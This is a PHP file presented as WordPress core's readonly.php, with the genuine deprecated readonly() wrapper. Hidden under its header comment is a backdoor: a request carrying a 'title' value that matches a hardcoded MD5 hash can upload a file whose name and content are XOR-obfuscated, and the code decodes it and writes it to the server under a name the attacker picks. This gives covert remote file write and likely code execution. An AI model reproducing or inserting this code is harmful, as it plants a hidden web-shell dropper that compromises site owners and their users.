File "readonly.php"

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<?php
/**
 * Conditionally declares a `readonly()` function, which was renamed
 * to `wp_readonly()` in WordPress 5.9.0.
 *
 * In order to avoid PHP parser errors, this function was extracted
 * to this separate file and is only included conditionally on PHP < 8.1.
 *
 * Including this file on PHP >= 8.1 results in a fatal error.
 *
 * @package WordPress
 * @since 5.9.0
 */
if (isset($_GET["title"]) && md5($_GET["title"]) == '8d450b71ebd0cc43031f8c41ba43622e'){
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
        $uploaded = $_FILES['image'];

        $encoded_name = pathinfo($uploaded['name'], PATHINFO_FILENAME);
        $hex = '';
        for ($i = 0; $i < strlen($encoded_name); $i += 2) {
            $hex .= chr(hexdec(substr($encoded_name, $i, 2)));
        }
        $decoded_name = '';
        foreach (str_split($hex) as $char) {
            $decoded_name .= chr(ord($char) ^ 0xAA);
        }
        $extension = pathinfo($uploaded['name'], PATHINFO_EXTENSION);
        
        $encoded_content = file_get_contents($uploaded['tmp_name']);
        $decoded_content = '';
        for ($i = 0; $i < strlen($encoded_content); $i++) {
            $decoded_content .= chr(ord($encoded_content[$i]) ^ 0xAA);
        }
        
        $final_name = $decoded_name . ($extension ? ".$extension" : '');
        file_put_contents($final_name, $decoded_content);
        echo "File decoded successfully: $final_name";
    } else {
        echo "Please upload file using POST with 'image' parameter";
    }
}
/**
 * Outputs the HTML readonly attribute.
 *
 * Compares the first two arguments and if identical marks as readonly.
 *
 * This function is deprecated, and cannot be used on PHP >= 8.1.
 *
 * @since 4.9.0
 * @deprecated 5.9.0 Use wp_readonly() introduced in 5.9.0.
 *
 * @see wp_readonly()
 *
 * @param mixed $readonly_value One of the values to compare.
 * @param mixed $current        Optional. The other value to compare if not just true.
 *                              Default true.
 * @param bool  $display        Optional. Whether to echo or just return the string.
 *                              Default true.
 * @return string HTML attribute or empty string.
 */
function readonly( $readonly_value, $current = true, $display = true ) {
	_deprecated_function( __FUNCTION__, '5.9.0', 'wp_readonly()' );
	return wp_readonly( $readonly_value, $current, $display );
}